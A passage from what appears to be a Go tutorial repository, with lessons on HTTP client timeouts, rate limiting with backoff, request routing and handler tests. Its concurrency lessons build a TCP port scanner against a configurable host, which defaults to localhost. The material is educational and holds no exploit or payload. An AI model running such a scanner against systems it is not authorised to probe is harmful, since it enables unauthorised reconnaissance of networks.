rand.New(rand.NewSource(time.Now().UnixNano())) 19 | time.Sleep(time.Duration(rnd.Intn(60)) * time.Second) // Simulate a slow server 20 | msg := "Hello Gopher!" 21 | log.Printf("Server >> Sending %q", msg) 22 | fmt.Fprintln(w, msg) 23 | })) 24 | defer ts.Close() 25 | 26 | ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) 27 | defer cancel() 28 | 29 | req, err := http.NewRequestWithContext(ctx, http.MethodGet, ts.URL, nil) 30 | if err != nil { 31 | log.Fatalln(err) 32 | } 33 | 34 | t := time.Now() 35 | log.Println("Sending request...") 36 | 37 | log.Printf("Client >> Making request to test server: %s", ts.URL) 38 | r, err := http.DefaultClient.Do(req) 39 | if err != nil { 40 | log.Printf("Client >> Error: %s", err) 41 | log.Println("Client >> Moving on...") 42 | return 43 | } 44 | 45 | b, err := ioutil.ReadAll(r.Body) 46 | r.Body.Close() 47 | if err != nil { 48 | log.Fatal(err) 49 | } 50 | 51 | msg := strings.TrimSpace(string(b)) 52 | log.Printf("Client >> Received response %q in %v", msg, time.Since(t)) 53 | } 54 | -------------------------------------------------------------------------------- /06-http-resiliency/client/default-resiliency/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "math/rand" 7 | "net/http" 8 | "net/http/httptest" 9 | "time" 10 | ) 11 | 12 | func main() { 13 | ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 14 | log.Printf("Server >> Request received...[%s] %s", r.Method, r.RequestURI) 15 | rnd := rand.New(rand.NewSource(time.Now().UnixNano())) 16 | time.Sleep(time.Duration(rnd.Intn(60)) * time.Second) // Simulate a slow server 17 | msg := "Hello Gopher!" 18 | log.Printf("Server >> Sending %q", msg) 19 | fmt.Fprintln(w, msg) 20 | })) 21 | defer ts.Close() 22 | 23 | log.Println("Making request...") 24 | res, err := http.Get(ts.URL) 25 | if err != nil { 26 | log.Fatalln(err) 27 | } 28 | log.Println(res.Status) 29 | defer res.Body.Close() 30 | } 31 | -------------------------------------------------------------------------------- /06-http-resiliency/client/e1/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "math/rand" 9 | "net/http" 10 | "net/http/httptest" 11 | "strings" 12 | "time" 13 | ) 14 | 15 | func main() { 16 | ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 17 | log.Printf("Server >> Request received...[%s] %s", r.Method, r.RequestURI) 18 | rnd := rand.New(rand.NewSource(time.Now().UnixNano())) 19 | time.Sleep(time.Duration(rnd.Intn(5)) * time.Second) 20 | msg := "Hello Gopher!" 21 | log.Printf("Server >> Sending %q", msg) 22 | fmt.Fprintln(w, msg) 23 | })) 24 | defer ts.Close() 25 | 26 | ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) 27 | defer cancel() 28 | 29 | req, _ := http.NewRequestWithContext(ctx, http.MethodGet, ts.URL, nil) 30 | 31 | t := time.Now() 32 | log.Println("Sending request...") 33 | 34 | log.Printf("Client >> Making request to test server: %s", ts.URL) 35 | r, err := http.DefaultClient.Do(req) 36 | if err != nil { 37 | log.Printf("Client >> Error: %s", err) 38 | log.Println("Client >> Moving on...") 39 | return 40 | } 41 | 42 | b, err := ioutil.ReadAll(r.Body) 43 | r.Body.Close() 44 | if err != nil { 45 | log.Fatal(err) 46 | } 47 | 48 | msg := strings.TrimSpace(string(b)) 49 | log.Printf("Client >> Received response %q in %v", msg, time.Since(t)) 50 | } 51 | -------------------------------------------------------------------------------- /06-http-resiliency/client/http-client-resiliency/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "math/rand" 7 | "net/http" 8 | "net/http/httptest" 9 | "time" 10 | ) 11 | 12 | func main() { 13 | ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 14 | log.Printf("Server >> Request received...[%s] %s", r.Method, r.RequestURI) 15 | rnd := rand.New(rand.NewSource(time.Now().UnixNano())) 16 | time.Sleep(time.Duration(rnd.Intn(60)) * time.Second) // Simulate a slow server 17 | msg := "Hello Gopher!" 18 | log.Printf("Server >> Sending %q", msg) 19 | fmt.Fprintln(w, msg) 20 | })) 21 | defer ts.Close() 22 | 23 | client := &http.Client{ 24 | Timeout: time.Second * 3, 25 | } 26 | 27 | log.Println("Making request...") 28 | 29 | res, err := client.Get(ts.URL) 30 | if err != nil { 31 | log.Fatalln(err) 32 | } 33 | defer res.Body.Close() 34 | log.Println(res.Status) 35 | } 36 | -------------------------------------------------------------------------------- /06-http-resiliency/client/http-transport-resiliency/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "math/rand" 7 | "net/http" 8 | "net/http/httptest" 9 | "time" 10 | ) 11 | 12 | func main() { 13 | ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 14 | log.Printf("Server >> Request received...[%s] %s", r.Method, r.RequestURI) 15 | rnd := rand.New(rand.NewSource(time.Now().UnixNano())) 16 | time.Sleep(time.Duration(rnd.Intn(60)) * time.Second) // Simulate a slow server 17 | msg := "Hello Gopher!" 18 | log.Printf("Server >> Sending %q", msg) 19 | fmt.Fprintln(w, msg) 20 | })) 21 | defer ts.Close() 22 | 23 | tr := &http.Transport{ 24 | TLSHandshakeTimeout: 10 * time.Second, 25 | MaxIdleConns: 10, 26 | //... 27 | } 28 | 29 | client := &http.Client{ 30 | Timeout: time.Second * 3, // Timeout for the entire request 31 | Transport: tr, 32 | } 33 | 34 | log.Println("Making request...") 35 | res, err := client.Get(ts.URL) 36 | if err != nil { 37 | log.Fatalln(err) 38 | } 39 | defer res.Body.Close() 40 | log.Println(res.Status) 41 | } 42 | -------------------------------------------------------------------------------- /06-http-resiliency/server/backoff-example/client/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "math/rand" 6 | "net/http" 7 | "os" 8 | "strconv" 9 | "time" 10 | ) 11 | 12 | func main() { 13 | var err error 14 | var requestCount int = 25 15 | var successCount int 16 | var throttledCount int 17 | 18 | url := "http://localhost:8080" 19 | 20 | successCount, throttledCount, err = get(url, requestCount) 21 | if err != nil { 22 | log.Println(err) 23 | os.Exit(1) 24 | } 25 | log.Printf("Summary (no retry/backoff): Success: %d, Throttled: %d", successCount, throttledCount) 26 | 27 | // successCount, throttledCount, err = getWithBackoff(url, requestCount) 28 | // if err != nil { 29 | // log.Println(err) 30 | // os.Exit(1) 31 | // } 32 | // log.Printf("Summary (with retry/backoff): Success: %d, Throttled: %d", successCount, throttledCount) 33 | 34 | } 35 | 36 | func get(url string, count int) (successCount int, throttledCount int, err error) { 37 | rand.Seed(time.Now().UnixNano()) 38 | 39 | for i := 0; i < count; i++ { 40 | time.Sleep(time.Millisecond * time.Duration(rand.Intn(1000))) // Simulate network latency 41 | 42 | var req *http.Request 43 | req, err = http.NewRequest("GET", url, nil) 44 | if err != nil { 45 | return 46 | } 47 | 48 | req.Header.Set("X-Request-Id", strconv.Itoa(i)) // Add a request id to simulate tracking of requests 49 | client := &http.Client{} 50 | var res *http.Response 51 | res, err = client.Do(req) 52 | if err != nil { 53 | return 54 | } 55 | 56 | res.Body.Close() 57 | 58 | if res.StatusCode == 200 { 59 | successCount++ 60 | } 61 | if res.StatusCode == 429 { 62 | throttledCount++ 63 | } 64 | log.Printf("%s: %d (Request ID: %v)", url, res.StatusCode, i) 65 | } 66 | return 67 | } 68 | 69 | func getWithBackoff(url string, count int) (successCount int, throttledCount int, err error) { 70 | var backoffSchedule = []time.Duration{ 71 | 100 * time.Millisecond, 72 | 200 * time.Millisecond, 73 | 400 * time.Millisecond, 74 | 800 * time.Millisecond, 75 | 1000 * time.Millisecond, 76 | } 77 | 78 | for i := 0; i < count; i++ { 79 | var res *http.Response 80 | 81 | for _, backoff := range backoffSchedule { 82 | var req *http.Request 83 | req, err = http.NewRequest("GET", url, nil) 84 | if err != nil { 85 | return 86 | } 87 | 88 | req.Header.Set("X-Request-Id", strconv.Itoa(i)) // Add a request id to simulate tracking of requests 89 | client := &http.Client{} 90 | res, err = client.Do(req) 91 | if err != nil { 92 | return 93 | } 94 | 95 | if res.StatusCode == 200 { 96 | successCount++ 97 | break 98 | } 99 | if res.StatusCode == 429 { 100 | throttledCount++ 101 | } 102 | log.Printf("Got status code %d for request %v, back off %v", res.StatusCode, i, backoff) 103 | time.Sleep(backoff) 104 | } 105 | 106 | res.Body.Close() 107 | log.Printf("%s: %d", url, res.StatusCode) 108 | } 109 | return 110 | } 111 | -------------------------------------------------------------------------------- /06-http-resiliency/server/backoff-example/server/Makefile: -------------------------------------------------------------------------------- 1 | default: 2 | @for number in 1 2 3 4 5 6; do \ 3 | curl localhost:8080 -i; echo; echo "---"; \ 4 | done -------------------------------------------------------------------------------- /06-http-resiliency/server/backoff-example/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | 9 | "golang.org/x/time/rate" 10 | ) 11 | 12 | var limiter *rate.Limiter 13 | 14 | // limit is middleware that rate limits requests 15 | func limit(next http.Handler) http.Handler { 16 | return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 17 | if !limiter.Allow() { 18 | log.Printf("Rate limit exceeded (Request ID: %v)", r.Header.Get("X-Request-Id")) 19 | http.Error(w, http.StatusText(http.StatusTooManyRequests), http.StatusTooManyRequests) 20 | return 21 | } 22 | next.ServeHTTP(w, r) 23 | }) 24 | } 25 | 26 | const ( 27 | defaultPort = 8080 28 | defaultRate = 1 29 | defaultBurst = 3 30 | ) 31 | 32 | func main() { 33 | port := fmt.Sprintf(":%d", *flag.Int("port", defaultPort, "port (int)")) 34 | r := flag.Float64("rate", defaultRate, "rate limit (float)") 35 | b := flag.Int("burst", defaultBurst, "burst limit (int)") 36 | flag.Parse() 37 | limiter = rate.NewLimiter(rate.Limit(*r), *b) 38 | 39 | mux := http.NewServeMux() 40 | mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { 41 | w.Write([]byte(http.StatusText(http.StatusOK))) 42 | }) 43 | 44 | log.Printf("Server ready on %s with allowed rate of %v req/s and burst of %v reqs...", port, *r, *b) 45 | http.ListenAndServe(port, limit(mux)) 46 | } 47 | -------------------------------------------------------------------------------- /06-http-resiliency/server/context-example/none/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net/http" 7 | "time" 8 | ) 9 | 10 | func greetHandler(w http.ResponseWriter, r *http.Request) { 11 | log.Println("Handling greeting request") 12 | defer log.Println("Handled greeting request") 13 | 14 | completeAfter := time.After(10 * time.Second) 15 | 16 | for { 17 | select { 18 | case <-completeAfter: 19 | fmt.Fprintln(w, "Hello Gopher!") 20 | return 21 | default: 22 | time.Sleep(1 * time.Second) 23 | log.Println("Greetings are hard. Thinking...") 24 | } 25 | } 26 | } 27 | 28 | func main() { 29 | http.HandleFunc("/", greetHandler) 30 | log.Println("Server listening on :8080...") 31 | log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil)) 32 | } 33 | -------------------------------------------------------------------------------- /06-http-resiliency/server/context-example/request/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net/http" 7 | "time" 8 | ) 9 | 10 | func greetHandler(w http.ResponseWriter, r *http.Request) { 11 | log.Println("Handling greeting request") 12 | defer log.Println("Handled greeting request") 13 | 14 | completeAfter := time.After(5 * time.Second) 15 | ctx := r.Context() 16 | 17 | for { 18 | select { 19 | case <-completeAfter: 20 | fmt.Fprintln(w, "Hello Gopher!") 21 | return 22 | case <-ctx.Done(): 23 | err := ctx.Err() 24 | log.Printf("Context Error: %s", err.Error()) 25 | return 26 | default: 27 | time.Sleep(1 * time.Second) 28 | log.Println("Greetings are hard. Thinking...") 29 | } 30 | } 31 | } 32 | 33 | func main() { 34 | http.HandleFunc("/", greetHandler) 35 | log.Println("Server listening on :8080...") 36 | log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil)) 37 | } 38 | -------------------------------------------------------------------------------- /06-http/custom-servux-example/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net/http" 7 | ) 8 | 9 | type morningHandler struct{} 10 | 11 | func (mh *morningHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { 12 | fmt.Fprintf(w, "Good Morning!") 13 | } 14 | 15 | type eveningHandler struct{} 16 | 17 | func (mh *eveningHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { 18 | switch r.URL.Path { 19 | case "/evening/tea": 20 | w.WriteHeader(http.StatusTeapot) 21 | fmt.Fprintf(w, "Good Evening! Have some tea.") 22 | return 23 | case "/evening": 24 | fmt.Fprintf(w, "Good Evening!") 25 | return 26 | } 27 | } 28 | 29 | func main() { 30 | eh := &eveningHandler{} 31 | mh := &morningHandler{} 32 | 33 | mux := http.NewServeMux() 34 | mux.Handle("/evening/tea", eh) 35 | mux.Handle("/evening", eh) 36 | mux.Handle("/morning", mh) 37 | mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { 38 | fmt.Fprintf(w, "Greetings!") 39 | }) 40 | 41 | log.Fatal(http.ListenAndServe("127.0.0.1:8080", mux)) 42 | } 43 | -------------------------------------------------------------------------------- /06-http/e1/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | ) 7 | 8 | type greeter struct{} 9 | 10 | func (h *greeter) ServeHTTP(w http.ResponseWriter, r *http.Request) { 11 | fmt.Fprintf(w, "Greetings!") 12 | } 13 | 14 | func main() { 15 | http.ListenAndServe("127.0.0.1:8080", &greeter{}) 16 | } 17 | -------------------------------------------------------------------------------- /06-http/e2/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net/http" 7 | ) 8 | 9 | func main() { 10 | h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 11 | fmt.Fprintf(w, "Greetings!") 12 | }) 13 | 14 | log.Println("Listening on http://localhost:8080") 15 | log.Fatal(http.ListenAndServe("127.0.0.1:8080", h)) 16 | } 17 | -------------------------------------------------------------------------------- /06-http/e3/handler.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "net/http" 7 | "strconv" 8 | ) 9 | 10 | type proverb struct { 11 | id int 12 | value string 13 | } 14 | 15 | type proverbsHandler struct { 16 | proverbs []proverb 17 | } 18 | 19 | func (ph *proverbsHandler) lookup(id int) (*proverb, error) { 20 | for _, p := range ph.proverbs { 21 | if id == p.id { 22 | return &p, nil 23 | } 24 | } 25 | return nil, errUnknownProverb 26 | } 27 | 28 | func newProverbsHandler() *proverbsHandler { 29 | return &proverbsHandler{ 30 | proverbs: []proverb{ 31 | {id: 1, value: "Don't communicate by sharing memory, share memory by communicating."}, 32 | {id: 2, value: "Concurrency is not parallelism."}, 33 | {id: 3, value: "Channels orchestrate; mutexes serialize."}, 34 | {id: 4, value: "The bigger the interface, the weaker the abstraction."}, 35 | {id: 5, value: "Make the zero value useful."}, 36 | }, 37 | } 38 | } 39 | 40 | func (ph *proverbsHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { 41 | id, err := strconv.Atoi(r.PathValue("id")) 42 | if err != nil { 43 | w.WriteHeader(http.StatusBadRequest) 44 | return 45 | } 46 | 47 | p, err := ph.lookup(id) 48 | if err == errUnknownProverb { 49 | http.Error(w, errUnknownProverb.Error(), http.StatusNotFound) 50 | return 51 | } 52 | 53 | fmt.Fprintln(w, p.value) 54 | } 55 | 56 | var errUnknownProverb = errors.New("Unknown Proverb") 57 | -------------------------------------------------------------------------------- /06-http/e3/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "net/http" 6 | ) 7 | 8 | func main() { 9 | ph := newProverbsHandler() 10 | 11 | mux := http.NewServeMux() 12 | mux.Handle("GET /proverbs/{id}", ph) 13 | 14 | log.Println("Listening on :8080...") 15 | log.Fatal(http.ListenAndServe("127.0.0.1:8080", mux)) 16 | } 17 | -------------------------------------------------------------------------------- /06-http/e4/Makefile: -------------------------------------------------------------------------------- 1 | test: 2 | go test -v -cover 3 | 4 | cover: 5 | go test -coverprofile=coverage.out 6 | go tool cover -html=coverage.out -------------------------------------------------------------------------------- /06-http/e4/handler.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "net/http" 7 | "strconv" 8 | ) 9 | 10 | type proverb struct { 11 | id int 12 | value string 13 | } 14 | 15 | type proverbsHandler struct { 16 | proverbs []proverb 17 | } 18 | 19 | func (ph *proverbsHandler) lookup(id int) (*proverb, error) { 20 | for _, p := range ph.proverbs { 21 | if id == p.id { 22 | return &p, nil 23 | } 24 | } 25 | return nil, errUnknownProverb 26 | } 27 | 28 | func newProverbsHandler() *proverbsHandler { 29 | return &proverbsHandler{ 30 | proverbs: []proverb{ 31 | {id: 1, value: "Don't communicate by sharing memory, share memory by communicating."}, 32 | {id: 2, value: "Concurrency is not parallelism."}, 33 | {id: 3, value: "Channels orchestrate; mutexes serialize."}, 34 | {id: 4, value: "The bigger the interface, the weaker the abstraction."}, 35 | {id: 5, value: "Make the zero value useful."}, 36 | }, 37 | } 38 | } 39 | 40 | func (ph *proverbsHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { 41 | switch r.Method { 42 | case http.MethodGet: 43 | id, err := strconv.Atoi(r.URL.Path[len("/proverbs/"):]) 44 | if err != nil { 45 | w.WriteHeader(http.StatusBadRequest) 46 | return 47 | } 48 | 49 | p, err := ph.lookup(id) 50 | if err == errUnknownProverb { 51 | http.Error(w, errUnknownProverb.Error(), http.StatusNotFound) 52 | return 53 | } 54 | 55 | fmt.Fprintln(w, p.value) 56 | return 57 | default: 58 | w.WriteHeader(http.StatusMethodNotAllowed) 59 | return 60 | } 61 | } 62 | 63 | var errUnknownProverb = errors.New("Unknown Proverb") 64 | -------------------------------------------------------------------------------- /06-http/e4/handler_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "net/http" 5 | "net/http/httptest" 6 | "strings" 7 | "testing" 8 | ) 9 | 10 | func TestProverbsHandler(t *testing.T) { 11 | cases := []struct { 12 | scenario string 13 | method string 14 | endpoint string 15 | expectedStatusCode int 16 | expectedBody string 17 | }{ 18 | { 19 | scenario: "ReturnsSpecificProverb", 20 | method: http.MethodGet, 21 | endpoint: "/proverbs/3", 22 | expectedStatusCode: http.StatusOK, 23 | expectedBody: "Channels orchestrate; mutexes serialize.", 24 | }, 25 | { 26 | scenario: "ReturnsBadRequest", 27 | method: http.MethodGet, 28 | endpoint: "/proverbs/", 29 | expectedStatusCode: http.StatusBadRequest, 30 | expectedBody: "", 31 | }, 32 | { 33 | scenario: "ReturnsMethodNotAllowed", 34 | method: http.MethodPut, 35 | endpoint: "/proverbs/3", 36 | expectedStatusCode: http.StatusMethodNotAllowed, 37 | expectedBody: "", 38 | }, 39 | } 40 | 41 | for _, c := range cases { 42 | r, _ := http.NewRequest(c.method, c.endpoint, nil) 43 | w := httptest.NewRecorder() 44 | h := newProverbsHandler() 45 | h.ServeHTTP(w, r) 46 | 47 | if w.Code != c.expectedStatusCode { 48 | t.Fatalf("expected %d but got %d for status code", c.expectedStatusCode, w.Code) 49 | } 50 | 51 | body := strings.TrimSpace(w.Body.String()) 52 | if body != c.expectedBody { 53 | t.Fatalf("expected %s but got %s for body", c.expectedBody, body) 54 | } 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /06-http/e4/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "net/http" 6 | ) 7 | 8 | func main() { 9 | ph := newProverbsHandler() 10 | 11 | mux := http.NewServeMux() 12 | mux.Handle("/proverbs/", ph) 13 | 14 | log.Fatal(http.ListenAndServe("127.0.0.1:8080", mux)) 15 | } 16 | -------------------------------------------------------------------------------- /06-http/enhanced-routing/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net/http" 7 | ) 8 | 9 | var stats map[string]map[string]int 10 | 11 | func init() { 12 | stats = make(map[string]map[string]int) 13 | stats["morning"] = make(map[string]int) 14 | stats["evening"] = make(map[string]int) 15 | } 16 | 17 | type morningHandler struct { 18 | requestCount int 19 | } 20 | 21 | func (mh *morningHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { 22 | mh.requestCount++ 23 | 24 | beverage := r.PathValue("beverage") 25 | temperature := r.PathValue("temperature") 26 | 27 | if beverage == "" || temperature == "" { 28 | http.Error(w, "beverage and temperature are required", http.StatusBadRequest) 29 | return 30 | } 31 | 32 | stats["morning"][beverage]++ 33 | stats["morning"][temperature]++ 34 | 35 | fmt.Fprintf(w, "Good Morning! Have some %s %s.", temperature, beverage) 36 | } 37 | 38 | type eveningHandler struct { 39 | requestCount int 40 | } 41 | 42 | func (eh *eveningHandler) HandleEvening(w http.ResponseWriter, r *http.Request) { 43 | eh.requestCount++ 44 | fmt.Fprintf(w, "Good Evening!") 45 | } 46 | 47 | func (eh *eveningHandler) HandleEveningBeverage(w http.ResponseWriter, r *http.Request) { 48 | eh.requestCount++ 49 | 50 | beverage := r.PathValue("beverage") 51 | if beverage == "" { 52 | http.Error(w, "beverage is required", http.StatusBadRequest) 53 | return 54 | } 55 | 56 | stats["evening"][beverage]++ 57 | 58 | fmt.Fprintf(w, "Good Evening! Have some %s.", beverage) 59 | } 60 | 61 | func main() { 62 | eh := &eveningHandler{} 63 | mh := &morningHandler{} 64 | 65 | mux := http.NewServeMux() 66 | mux.Handle("GET /evening", http.HandlerFunc(eh.HandleEvening)) 67 | mux.Handle("GET /evening/{beverage}", http.HandlerFunc(eh.HandleEveningBeverage)) 68 | mux.Handle("GET /morning/{beverage}/{temperature}", mh) 69 | mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { 70 | fmt.Fprintf(w, "Greetings!") 71 | }) 72 | mux.HandleFunc("/stats", func(w http.ResponseWriter, r *http.Request) { 73 | fmt.Fprintf(w, "Morning: %v\n", stats["morning"]) 74 | fmt.Fprintf(w, "Evening: %v\n", stats["evening"]) 75 | }) 76 | 77 | log.Println("Listening on 8080...") 78 | log.Fatal(http.ListenAndServe("127.0.0.1:8080", mux)) 79 | } 80 | -------------------------------------------------------------------------------- /07-dependencies/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | "strconv" 9 | 10 | "github.com/gorilla/mux" 11 | ) 12 | 13 | func main() { 14 | ph := newProverbsHandler() 15 | 16 | r := mux.NewRouter() 17 | r.Handle("/proverbs/{id}", ph) 18 | 19 | log.Fatal(http.ListenAndServe("127.0.0.1:8080", r)) 20 | } 21 | 22 | type proverb struct { 23 | id int 24 | value string 25 | } 26 | 27 | type proverbsHandler struct { 28 | proverbs []proverb 29 | } 30 | 31 | func (ph *proverbsHandler) lookup(id int) (*proverb, error) { 32 | for _, p := range ph.proverbs { 33 | if id == p.id { 34 | return &p, nil 35 | } 36 | } 37 | return nil, errUnknownProverb 38 | } 39 | 40 | func newProverbsHandler() *proverbsHandler { 41 | return &proverbsHandler{ 42 | proverbs: []proverb{ 43 | {id: 1, value: "Don't communicate by sharing memory, share memory by communicating."}, 44 | {id: 2, value: "Concurrency is not parallelism."}, 45 | {id: 3, value: "Channels orchestrate; mutexes serialize."}, 46 | {id: 4, value: "The bigger the interface, the weaker the abstraction."}, 47 | {id: 5, value: "Make the zero value useful."}, 48 | }, 49 | } 50 | } 51 | 52 | func (ph *proverbsHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { 53 | vars := mux.Vars(r) 54 | switch r.Method { 55 | case http.MethodGet: 56 | id, err := strconv.Atoi(vars["id"]) 57 | if err != nil { 58 | w.WriteHeader(http.StatusBadRequest) 59 | return 60 | } 61 | 62 | p, err := ph.lookup(id) 63 | if err == errUnknownProverb { 64 | http.Error(w, errUnknownProverb.Error(), http.StatusNotFound) 65 | return 66 | } 67 | 68 | fmt.Fprintln(w, p.value) 69 | return 70 | default: 71 | w.WriteHeader(http.StatusMethodNotAllowed) 72 | return 73 | } 74 | } 75 | 76 | var errUnknownProverb = errors.New("unknown proverb") 77 | -------------------------------------------------------------------------------- /08-concurrency/e0-sequential/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net" 7 | ) 8 | 9 | func main() { 10 | for i := 5300; i <= 5500; i++ { 11 | conn, err := net.Dial("tcp", fmt.Sprintf("localhost:%d", i)) 12 | if err != nil { 13 | log.Printf("%d CLOSED (%s)\n", i, err) 14 | continue 15 | } 16 | conn.Close() 17 | log.Printf("%d OPEN\n", i) 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /08-concurrency/e1-synchronized/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "net" 8 | "strconv" 9 | "sync" 10 | ) 11 | 12 | var host string 13 | var fromPort string 14 | var toPort string 15 | 16 | func init() { 17 | flag.StringVar(&host, "host", "127.0.0.1", "Host to scan.") 18 | flag.StringVar(&fromPort, "from", "5300", "Port to start scanning from") 19 | flag.StringVar(&toPort, "to", "5500", "Port at which to stop scanning") 20 | } 21 | 22 | func main() { 23 | flag.Parse() 24 | 25 | fp, err := strconv.Atoi(fromPort) 26 | if err != nil { 27 | log.Fatalln("Invalid 'from' port") 28 | } 29 | 30 | tp, err := strconv.Atoi(toPort) 31 | if err != nil { 32 | log.Fatalln("Invalid 'to' port") 33 | } 34 | 35 | if fp > tp { 36 | log.Fatalln("Invalid values for 'from' and 'to' port") 37 | } 38 | 39 | var wg sync.WaitGroup 40 | wg.Add(tp - fp) 41 | for i := fp; i <= tp; i++ { 42 | go func(p int) { 43 | defer wg.Done() 44 | conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, p)) 45 | if err != nil { 46 | log.Printf("%d CLOSED (%s)\n", p, err) 47 | return 48 | } 49 | conn.Close() 50 | log.Printf("%d OPEN\n", p) 51 | }(i) 52 | } 53 | wg.Wait() 54 | } 55 | -------------------------------------------------------------------------------- /08-concurrency/e2-worker-pool/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "errors" 5 | "flag" 6 | "fmt" 7 | "net" 8 | "os" 9 | "runtime" 10 | "sort" 11 | "strconv" 12 | "strings" 13 | ) 14 | 15 | var host string 16 | var ports string 17 | var numWorkers int 18 | 19 | func init() { 20 | flag.StringVar(&host, "host", "127.0.0.1", "Host to scan.") 21 | flag.StringVar(&ports, "ports", "80", "Port(s) (e.g. 80, 22-100).") 22 | flag.IntVar(&numWorkers, "workers", runtime.NumCPU(), "Number of workers. Defaults to 10.") 23 | } 24 | 25 | func main() { 26 | flag.Parse() 27 | 28 | portsToScan, err := parsePortsToScan(ports) 29 | if err != nil { 30 | fmt.Printf("Failed to parse ports to scan: %s", err) 31 | os.Exit(1) 32 | } 33 | 34 | portsChan := make(chan int, numWorkers) 35 | resultsChan := make(chan int) 36 | 37 | for i := 0; i < cap(portsChan); i++ { // numWorkers also acceptable here 38 | go worker(host, portsChan, resultsChan) 39 | } 40 | 41 | go func() { 42 | for _, p := range portsToScan { 43 | portsChan <- p 44 | } 45 | }() 46 | 47 | var openPorts []int 48 | for i := 0; i < len(portsToScan); i++ { 49 | if p := <-resultsChan; p != 0 { // non-zero port means it's open 50 | openPorts = append(openPorts, p) 51 | } 52 | } 53 | 54 | close(portsChan) 55 | close(resultsChan) 56 | 57 | fmt.Println("RESULTS") 58 | sort.Ints(openPorts) 59 | for _, p := range openPorts { 60 | fmt.Printf("%d - open\n", p) 61 | } 62 | } 63 | 64 | func parsePortsToScan(portsFlag string) ([]int, error) { 65 | p, err := strconv.Atoi(portsFlag) 66 | if err == nil { 67 | return []int{p}, nil 68 | } 69 | 70 | ports := strings.Split(portsFlag, "-") 71 | if len(ports) != 2 { 72 | return nil, errors.New("unable to determine port(s) to scan") 73 | } 74 | 75 | minPort, err := strconv.Atoi(ports[0]) 76 | if err != nil { 77 | return nil, fmt.Errorf("failed to convert %s to a valid port number", ports[0]) 78 | } 79 | 80 | maxPort, err := strconv.Atoi(ports[1]) 81 | if err != nil { 82 | return nil, fmt.Errorf("failed to convert %s to a valid port number", ports[1]) 83 | } 84 | 85 | if minPort <= 0 || maxPort <= 0 { 86 | return nil, fmt.Errorf("port numbers must be greater than 0") 87 | } 88 | 89 | var results []int 90 | for p := minPort; p <= maxPort; p++ { 91 | results = append(results, p) 92 | } 93 | return results, nil 94 | } 95 | 96 | func worker(host string, portsChan <-chan int, resultsChan chan<- int) { 97 | for p := range portsChan { 98 | address := fmt.Sprintf("%s:%d", host, p) 99 | conn, err := net.Dial("tcp", address) 100 | if err != nil { 101 | fmt.Printf("%d CLOSED (%s)\n", p, err) 102 | resultsChan <- 0 103 | continue 104 | } 105 | conn.Close() 106 | resultsChan <- p 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /08-concurrency/e3-semaphore/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "flag" 7 | "fmt" 8 | "net" 9 | "os" 10 | "runtime" 11 | "sort" 12 | "strconv" 13 | "strings" 14 | 15 | "golang.org/x/sync/semaphore" 16 | ) 17 | 18 | var host string 